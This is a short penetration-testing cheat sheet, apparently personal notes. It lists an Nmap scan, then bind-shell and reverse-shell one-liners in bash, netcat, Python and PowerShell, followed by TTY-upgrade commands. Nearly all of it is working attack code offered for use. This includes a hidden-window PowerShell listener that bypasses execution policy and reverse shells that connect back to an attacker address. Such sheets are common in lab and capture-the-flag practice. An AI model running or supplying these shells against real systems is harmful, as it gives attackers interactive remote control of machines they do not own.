Nmap

nmap -sV -p- 10.10.10.10 

curl

// Some code

Bind Shell

1. On Victim device, expose port

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

1. Connect to port

nc 10.10.10.1 1234

Reverse Shell

1. Listener

nc -lvnp 1234

1. Victim connect back to listener

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Upgrade to TTY

python -c 'import pty; pty.spawn("/bin/bash")'
^Z // to background it
stty raw -echo
fg

Resize TTY

stty size //check the size
stty rows 67 columns 318
